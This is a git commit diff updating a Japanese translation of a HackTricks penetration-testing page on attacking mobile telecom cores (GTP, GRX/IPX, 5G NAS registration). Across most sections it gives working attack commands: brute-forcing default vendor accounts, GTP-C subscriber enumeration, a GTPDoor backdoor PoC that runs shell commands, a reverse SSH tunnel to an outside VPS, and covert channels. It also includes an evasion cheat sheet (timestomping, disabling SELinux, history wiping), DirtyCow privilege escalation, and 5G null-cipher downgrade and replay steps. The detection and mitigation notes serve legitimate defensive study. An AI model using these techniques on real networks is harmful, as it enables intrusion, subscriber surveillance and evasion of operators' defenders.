Translated ['', 'src/generic-methodologies-and-resources/pentesting-netw

This commit is contained in:
Translator 2025-09-07 20:09:32 +00:00
parent b9deca3287
commit 4d6272264a

View File

@ -3,25 +3,25 @@
{{#include ../../banners/hacktricks-training.md}}
> [!NOTE]
> モバイルコアプロトコルGPRSトンネリングプロトコル GTPは、しばしば半信頼のGRX/IPXローミングバックボーンを通過します。 それらはほとんど認証なしでプレーンUDP上を走行するため、**テレコムの境界内の任意の足場は通常、コア信号プレーンに直接到達できます**。 以下のートは、SGSN/GGSN、PGW/SGWおよび他のEPCードに対して実際に観察された攻撃的なトリックを集めています。
> Mobile-core protocols (GPRS Tunnelling Protocol GTP) は、しばしば半信頼の GRX/IPX ローミングバックボーンを横断します。平文の UDP 上をほとんど認証なしで走るため、**通信事業者の境界内のいかなる foothold からでも通常はコアシグナリングプレーンに直接到達できる**ことが多いです。以下は、SGSN/GGSN、PGW/SGW およびその他の EPC ノードに対して野外で観測された offensive tricks をまとめたメモです。
## 1. Recon & Initial Access
### 1.1 Default OSS / NE Accounts
驚くほど多くのベンダーネットワーク要素は、`root:admin``dbadmin:dbadmin``cacti:cacti``ftpuser:ftpuser`などのハードコーディングされたSSH/Telnetユーザーと共に出荷されます。 専用のワードリストはブルートフォースの成功率を大幅に向上させます:
### 1.1 デフォルトの OSS / NE アカウント
多くのベンダー製 network elements には `root:admin``dbadmin:dbadmin``cacti:cacti``ftpuser:ftpuser`、… のようなハードコードされた SSH/Telnet ユーザーが驚くほど多数含まれています。専用のワードリストを用意すると brute-force の成功率が大幅に向上します:
```bash
hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt
```
デバイスが管理VRFのみを公開している場合は、最初にジャンプホストを介してピボットします下の「SGSN Emu Tunnel」セクションを参照)。
デバイスが管理用 VRF のみを公開している場合は、まず jump host を経由してピボットしてください(以下の «SGSN Emu Tunnel» 節を参照)。
### 1.2 GRX/IPX内のホスト発見
ほとんどのGRXオペレーターは、バックボーン全体で**ICMPエコー**を許可しています。 `masscan`を組み合わせて、組み込みの`gtpv1` UDPプローブを使用して、GTP-Cリスナーを迅速にマッピングします
### 1.2 GRX/IPX 内のホスト探索
ほとんどの GRX オペレータはバックボーン上で依然として **ICMP echo** を許可しています。`masscan` の組み込み `gtpv1` UDP プローブを組み合わせることで、GTP-C リスナーを迅速にマップできます:
```bash
masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55
```
## 2. サブスクライバーの列挙 `cordscan`
## 2. 加入者の列挙 `cordscan`
以下のGoツールは、**GTP-C Create PDP Context Request**パケットを作成し、応答をログに記録します。各応答は、クエリされたIMSIにサービスを提供している現在の**SGSN / MME**を明らかにし、時にはサブスクライバーの訪問したPLMNも示します。
以下の Go ツールは **GTP-C Create PDP Context Request** パケットを作成し、応答をログに記録します。各応答は照会した IMSI に現在サービスを提供している **SGSN / MME** を明らかにし、場合によっては加入者が訪問している PLMN を示します。
```bash
# Build
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
@ -29,20 +29,20 @@ GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
# Usage (typical):
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap
```
重要なフラグ:
- `--imsi` 対象加入者IMSI
主なフラグ:
- `--imsi` 対象加入者IMSI
- `--oper` ホーム / HNI (MCC+MNC)
- `-w` 生のパケットをpcapに書き込む
- `-w` raw packets pcap に書き込む
バイナリ内の重要な定数は、スキャンを拡大するためにパッチを当てることができます:
バイナリ内の重要な定数をパッチしてスキャン範囲を拡大できます:
```
pingtimeout = 3 // seconds before giving up
pco = 0x218080
common_tcp_ports = "22,23,80,443,8080"
```
## 3. コード実行 over GTP `GTPDoor`
## 3. GTP経由のコード実行 `GTPDoor`
`GTPDoor`、**UDP 2123 にバインドし、すべての受信 GTP-C パケットを解析する**小さな ELF サービスです。ペイロードが事前共有タグで始まると、残りは復号化されAES-128-CBC`/bin/sh -c` を介して実行されます。stdout/stderr は **Echo Response** メッセージ内に外部セッションが作成されないように流出されます
`GTPDoor`小さな ELF サービスで、**UDP 2123 にバインドし、受信するすべての GTP-C パケットを解析します**。 ペイロードが事前共有タグで始まると、残りはAES-128-CBCで復号され `/bin/sh -c` 経由で実行されます。stdout/stderr は **Echo Response** メッセージ内に持ち出されるため、外向きのセッションは一切作成されません
最小限の PoC パケット (Python):
```python
@ -53,37 +53,37 @@ enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))
```
検出:
* **不均衡なエコーリクエスト**をSGSN IPに送信するホスト
* メッセージタイプ = 1 (エコー) のときにGTPバージョンフラグが1に設定されている 仕様からの逸脱
* SGSN の IP 宛に **unbalanced Echo Requests** を送信している任意のホスト
* GTP バージョンフラグが 1 に設定され、message type = 1 (Echo) の場合 — 規格からの逸脱
## 4. コアを通じたピボット
## 4. コアを介したピボット
### 4.1 `sgsnemu` + SOCKS5
`OsmoGGSN`は、**実際のGGSN/PGWに向けてPDPコンテキストを確立する**ことができるSGSNエミュレーターを出荷します。交渉が完了すると、Linuxはローミングピアから到達可能な新しい`tun0`インターフェースを受け取ります。
`OsmoGGSN` は、実際の GGSN/PGW に対して **PDP context を確立する** ことができる SGSN エミュレータを同梱しています。交渉が完了すると、Linux はローミングピアから到達可能な新しい `tun0` インターフェースを受け取ります。
```bash
sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
-APN internet -c 1 -d
ip route add 172.16.0.0/12 dev tun0
microsocks -p 1080 & # internal SOCKS proxy
```
適切なファイアウォールのヘアピンを使用することで、このトンネルはシグナリング専用VLANをバイパスし、直接**データプレーン**に到達します。
適切な firewall hair-pinning を行えば、このトンネルは signalling-only VLANs をバイパスして、直接 **data plane** に到達します。
### 4.2 ポート53経由のSSHリバーストンネル
DNSは、ローミングインフラストラクチャではほぼ常にオープンです。内部SSHサービスをVPSに公開し、:53でリッスンし、後で自宅から戻ります:
### 4.2 SSH Reverse Tunnel over Port 53
DNS はローミング環境ではほぼ常に開いています。内部の SSH サービスを VPS 上で :53 で待ち受けるよう公開し、後で自宅から接続を戻します:
```bash
ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com
```
`GatewayPorts yes`VPSで有効になっていることを確認してください。
VPSで`GatewayPorts yes`が有効になっていることを確認してください。
## 5. 隠れたチャネル
## 5. コバートチャネル
| チャネル | トランスポート | デコーディング | ノート |
| チャネル | トランスポート | デコード | 備考 |
|---------|-----------|----------|-------|
| ICMP `EchoBackdoor` | ICMP Echo Req/Rep | 4バイトキー + 14バイトチャンク (XOR) | 完全なパッシブリスナー、外向きトラフィックなし |
| DNS `NoDepDNS` | UDP 53 | XOR (キー = `funnyAndHappy`) Aレコードオクテットにエンコード | `*.nodep`サブドメインを監視 |
| GTP `GTPDoor` | UDP 2123 | プライベートIE内のAES-128-CBCブロブ | 正当なGTP-Cチャッターに混ざる |
| ICMP `EchoBackdoor` | ICMP Echo Req/Rep | 4-byte key + 14-byte chunks (XOR) | 純粋な受動リスナー、アウトバウンドトラフィックなし |
| DNS `NoDepDNS` | UDP 53 | XOR (key = `funnyAndHappy`) をAレコードのオクテットにエンコード | `*.nodep` サブドメインを監視 |
| GTP `GTPDoor` | UDP 2123 | プライベートIE内のAES-128-CBCブロブ | 正当なGTP-Cトラフィックに溶け込む |
すべてのインプラントは、**タイムスタンプ**を変更し、クラッシュした場合は再生成するウォッチドッグを実装しています。
All implants implement watchdogs that **timestomp** their binaries and re-spawn if crashed.
## 6. 防御回避チートシート
```bash
@ -100,7 +100,7 @@ printf '\0' > /proc/$$/comm # appears as [kworker/1]
touch -r /usr/bin/time /usr/bin/chargen # timestomp
setenforce 0 # disable SELinux
```
## 7. レガシーNEにおける特権昇格
## 7. レガシーNEでの Privilege Escalation
```bash
# DirtyCow CVE-2016-5195
gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd
@ -116,25 +116,132 @@ python3 exploit_userspec.py
userdel firefart 2>/dev/null
rm -f /tmp/sh ; history -c
```
## 8. ツールボックス
## 8. Tool Box
* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` 前のセクションで説明されたカスタムツール。
* `FScan` : intranet TCP スイープ (`fscan -p 22,80,443 10.0.0.0/24`)
* `Responder` : LLMNR/NBT-NS ローグ WPAD
* `Microsocks` + `ProxyChains` : 軽量な SOCKS5 ピボット
* `FRP` (≥0.37) : NAT トラバーサル / アセットブリッジング
* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` 前節で説明したカスタムツール。
* `FScan` : intranet の TCP スイープ (`fscan -p 22,80,443 10.0.0.0/24`)
* `Responder` : LLMNR/NBT-NS の rogue WPAD
* `Microsocks` + `ProxyChains` : 軽量な SOCKS5 pivoting
* `FRP` (≥0.37) : NAT traversal / asset bridging
## 9. 5G NAS Registration Attacks: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay
5G の登録手続きは NGAP 上の NAS (Non-Access Stratum) で実行される。Security Mode Command/Complete によって NAS セキュリティが有効化されるまでは、初期メッセージは認証も暗号化もされていない。このプレセキュリティのウィンドウは、N2 トラフィックを観測または改ざんできる場合(コア内のオンパス、偽 gNB、テストベッド など)に複数の攻撃経路を可能にする。
Registration flow (簡略):
- Registration Request: UE が SUCIホームネットワーク公開鍵で暗号化された SUPIと capabilities を送信。
- Authentication: AMF/AUSF が RAND/AUTN を送信UE は RES* を返す。
- Security Mode Command/Complete: NAS の整合性と暗号化が交渉され有効化される。
- PDU Session Establishment: IP/QoS の設定。
Lab setup のヒントRF 以外):
- Core: Open5GS のデフォルト展開でフローを再現するのに十分。
- UE: シミュレータやテスト用 UEWireshark でデコード。
- Active tooling: 5GReplayNGAP 内の NAS をキャプチャ/改変/リプレイ、Sni5Gectフルな偽 gNB を立てずに NAS をスニッフ/パッチ/注入)。
- Wireshark の便利な display filter:
- ngap.procedure_code == 15 (InitialUEMessage)
- nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request)
### 9.1 Identifier privacy: SUCI failures exposing SUPI/IMSI
期待される動作: UE/USIM は SUCIホームネットワークの公開鍵で暗号化された SUPIを送信する必要がある。Registration Request に平文の SUPI/IMSI が含まれている場合、これは恒久的な加入者トラッキングを可能にするプライバシ欠陥を示す。
テスト方法:
- InitialUEMessage の最初の NAS メッセージをキャプチャし、Mobile Identity IE を検査する。
- Wireshark の簡易チェック:
- SUCI としてデコードされるべきで、IMSI ではないこと。
- フィルタ例: `nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci` が存在するはず;存在しないのに `imsi` がある場合は露出を示す。
収集すべきもの:
- 露出している場合は MCC/MNC/MSIN を取得UE ごとにログを取り、時間/場所を跨いで追跡。
緩和策:
- SUCI のみを許可する UE/USIM を必須化;初期 NAS に IMSI/SUPI が含まれている場合はアラートする。
### 9.2 Capability bidding-down to null algorithms (EEA0/EIA0)
背景:
- UE は Registration Request の UE Security Capability IE でサポートする EEA暗号化と EIA整合性を通知する。
- 一般的なマッピング: EEA1/EIA1 = SNOW3G、EEA2/EIA2 = AES、EEA3/EIA3 = ZUCEEA0/EIA0 は null アルゴリズム。
問題点:
- Registration Request は整合性保護されていないため、オンパス攻撃者は capability ビットをクリアして後の Security Mode Command で EEA0/EIA0 の選択を強制できる。一部のスタックは緊急サービス以外でも null アルゴリズムを誤って許可する。
攻撃手順(攻撃的な検証):
- InitialUEMessage をインターセプトして NAS UE Security Capability を EEA0/EIA0 のみを広告するように改変する。
- Sni5Gect を使い、NAS メッセージをフックして転送前に capability ビットをパッチする。
- AMF が null 暗号/整合性を受け入れて Security Mode を EEA0/EIA0 で完了するか観察する。
検証/可視化:
- Security Mode Command/Complete 後に選択されたアルゴリズムを Wireshark で確認する。
- 受動的スニッファの出力例:
```
Encyrption in use [EEA0]
Integrity in use [EIA0, EIA1, EIA2]
SUPI (MCC+MNC+MSIN) 9997000000001
```
Mitigations (must):
- AMF/policy を設定して、厳密に義務付けられている場合(例: 緊急通報を除き、EEA0/EIA0 を拒否する。
- 最低でも EEA2/EIA2 の適用を優先する; null algorithms をネゴシエートする NAS セキュリティコンテキストについてはすべてログ記録とアラームを行う。
### 9.3 初期 Registration Request のリプレイpre-security NAS
初期の NAS は整合性と新鮮性を欠くため、キャプチャした InitialUEMessage+Registration Request を AMF にリプレイできる。
PoC rule for 5GReplay to forward matching replays:
```xml
<beginning>
<property value="THEN"
property_id="101"
type_property="FORWARD"
description="Forward InitialUEMessage with Registration Request">
<!-- Trigger on NGAP InitialUEMessage (procedureCode == 15) -->
<event value="COMPUTE"
event_id="1"
description="Trigger: InitialUEMessage"
boolean_expression="ngap.procedure_code == 15"/>
<!-- Context match on NAS Registration Request (message_type == 65) -->
<event value="COMPUTE"
event_id="2"
description="Context: Registration Request"
boolean_expression="nas_5g.message_type == 65"/>
</property>
</beginning>
```
What to observe:
- AMF が replay を受け入れて Authentication に進むかどうかを確認する。freshness や context の検証が行われていない場合、脆弱性を示す。
Mitigations:
- AMF 側で replay protection / context binding を強制する。GNB/UE 単位でレート制限と相関付けを行う。
### 9.4 Tooling pointers (reproducible)
- Open5GS: AMF/SMF/UPF を立ててコアをエミュレートするN2 (NGAP) と NAS を監視する。
- Wireshark: NGAP/NAS のデコードを確認する;上記フィルタを適用して Registration を抽出する。
- 5GReplay: Registration をキャプチャし、ルールに従って特定の NGAP + NAS メッセージを replay する。
- Sni5Gect: NAS control-plane をライブで sniff/modify/inject して null algorithms を強制したり、authentication シーケンスを攪乱する。
### 9.5 Defensive checklist
- Registration Request を継続的に監視し、平文の SUPI/IMSI を検出したら当該デバイス/USIM をブロックする。
- EEA0/EIA0 は限定的な緊急手順を除き拒否し、最低でも EEA2/EIA2 を要求する。
- 不正または設定ミスのインフラを検出する:無許可の gNB/AMF、予期しない N2 ピアなど。
- null algorithms を引き起こす NAS security modes や InitialUEMessage の頻繁な replay を検出してアラートする。
---
## 検出アイデア
1. **SGSN/GGSN 以外のデバイスが Create PDP Context Requests を確立すること**
2. **内部 IP からの SSH ハンドシェイクを受信する非標準ポート (53, 80, 443)**
3. **対応する Echo Response なしの頻繁な Echo Requests** GTPDoor ビーコンを示す可能性があります。
4. **大きく、ゼロ以外の識別子/シーケンスフィールドを持つ ICMP エコー応答トラフィックの高いレート**
## Detection Ideas
1. **SGSN/GGSN 以外のデバイスが Create PDP Context Requests を確立している場合**
2. **内部 IP から Non-standard ports (53, 80, 443) で SSH handshakes を受信している場合**
3. **対応する Echo Responses のない頻繁な Echo Requests** GTPDoor beacons を示す可能性がある。
4. **識別子/シーケンスフィールドが大きく非ゼロの ICMP echo-reply トラフィックが高レートで発生している場合**
5. 5G: **同一エンドポイントから繰り返される NAS Registration Requests を含む InitialUEMessage**replay の兆候)。
6. 5G: **緊急時以外で EEA0/EIA0 を交渉する NAS Security Mode**
## 参考文献
## References
- [Palo Alto Unit42 グローバル通信ネットワークの侵入](https://unit42.paloaltonetworks.com/infiltration-of-global-telecom-networks/)
- 3GPP TS 29.060 GPRS トンネリングプロトコル (v16.4.0)
- [Palo Alto Unit42 Infiltration of Global Telecom Networks](https://unit42.paloaltonetworks.com/infiltration-of-global-telecom-networks/)
- 3GPP TS 29.060 GPRS Tunnelling Protocol (v16.4.0)
- 3GPP TS 29.281 GTPv2-C (v17.6.0)
- [Demystifying 5G Security: Understanding the Registration Protocol](https://bishopfox.com/blog/demystifying-5g-security-understanding-the-registration-protocol)
- 3GPP TS 24.501 Non-Access-Stratum (NAS) protocol for 5GS
- 3GPP TS 33.501 Security architecture and procedures for 5G System
{{#include ../../banners/hacktricks-training.md}}